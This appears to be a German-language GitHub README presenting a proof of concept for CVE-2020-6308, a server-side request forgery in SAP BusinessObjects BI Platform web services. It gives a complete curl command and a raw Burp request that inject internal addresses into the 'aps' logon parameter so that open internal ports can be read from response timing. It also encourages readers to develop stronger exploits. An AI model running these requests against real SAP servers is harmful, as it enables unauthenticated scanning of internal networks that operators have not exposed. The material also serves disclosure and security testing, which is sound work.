initroot/cve-2020-6308-pocPoC CVE-2020-6308
SAP BusinessObjects Business Intelligence Platform (Web Services) Versionen - 410, 420, 430, erlaubt es einem nicht authentifizierten Angreifer, beliebige Werte als CMS-Parameter zu injizieren, um Lookups im internen Netzwerk durchzuführen, das ansonsten von außen nicht zugänglich ist. Folge mir auf Twitter oder sende eine DM für Fragen: https://twitter.com/initroott
Ich habe das Problem im Mai 2020 an SAP gemeldet, und der Patch wurde im Oktober 2020 veröffentlicht. Du kannst gerne deinen eigenen PoC weiterentwickeln, ich werde jedoch ein wenig Hintergrundinformationen liefern. Die CMS-Funktion validiert die angegebene Adresse nicht. Wenn die Host-Firewall nicht korrekt konfiguriert ist, ist es möglich, anhand der Antworten auf Anfragen einfach Ports oder das interne Netzwerk zu fingerprinten. Im folgenden Beispiel zeige ich, wie du mit einer CuRL-Anfrage offene Ports sehen kannst. Im folgenden Beispiel habe ich einen SAP-Host (192.168.0.191), eine angreifende Maschine (192.168.0.149) und ein weiteres Gerät, z. B. einen internen Router (192.168.0.1).
Unser SAP-Host hat die folgenden offenen Ports:
Und unser interner Router hat folgende offene Ports: 53,80,34573
Also testen wir das. Wir können offene Ports einfach anhand der Timing-Unterschiede der Antworten identifizieren. Beispiele unten:
time curl -i -s -k -X $'POST' \
-H $'Host: 192.168.0.191:8080' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:81.0) Gecko/20100101 Firefox/81.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 120' -H $'Origin: http://192.168.0.191:8080' -H $'Connection: close' -H $'Referer: http://192.168.0.191:8080/AdminTools/querybuilder/ie.jsp' -H $'Cookie: JSESSIONID=8EE4AA85EB930DEB7090187F4CB4711B; developer_samples_app_lastusr=admin; developer_samples_app_lastaps=192.168.0.191; developer_samples_app_lastaut=secEnterprise' -H $'Upgrade-Insecure-Requests: 1' \
-b $'JSESSIONID=8EE4AA85EB930DEB7090187F4CB4711B; developer_samples_app_lastusr=admin; developer_samples_app_lastaps=192.168.0.191; developer_samples_app_lastaut=secEnterprise' \
--data-binary $'aps=192.168.0.1:53&usr=admin&pwd=&aut=secEnterprise&main_page=ie.jsp&new_pass_page=newpwdform.jsp&exit_page=logonform.jsp' \
$'http://192.168.0.191:8080/AdminTools/querybuilder/logon?framework='
Testen der folgenden Payloads:
Hier siehst du die Testergebnisse für geschlossene Ports, durchschnittlich etwa 5 ms..
Hier siehst du die Testergebnisse für offene/gefilterte Ports, deutlich größer..
Nun ist das Folgende nicht ideal, da unterschiedliche Routings und einige Firewalls die Ergebnisse beeinflussen können. Es sollte dir jedoch eine Idee geben, wo du mit dem Bau eines besseren Exploits beginnen kannst.. Das Obige kann angepasst werden, indem man eine Baseline erstellt und dann von dort aus weiterarbeitet. Ich würde auf jeden Fall empfehlen, einen Listener einzurichten und dann zu beobachten, was passiert.
Das Folgende zeigt, wie die Anfrage in Burp aussehen wird, wobei der APS-Parameter der verwundbare Injektionspunkt ist. Ein einfacherer PoC wäre, einfach einen Canary-Token-Wert zu injizieren und auf den Trigger zu warten..
POST /AdminTools/querybuilder/logon?framework= HTTP/1.1
Host: 192.168.0.191:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 128
Origin: http://192.168.0.191:8080
Connection: close
Referer: http://192.168.0.191:8080/AdminTools/querybuilder/ie.jsp
Upgrade-Insecure-Requests: 1
aps=192.168.0.191&usr=admin&pwd=admin&aut=secEnterprise&main_page=ie.jsp&new_pass_page=newpwdform.jsp&exit_page=logonform.jsp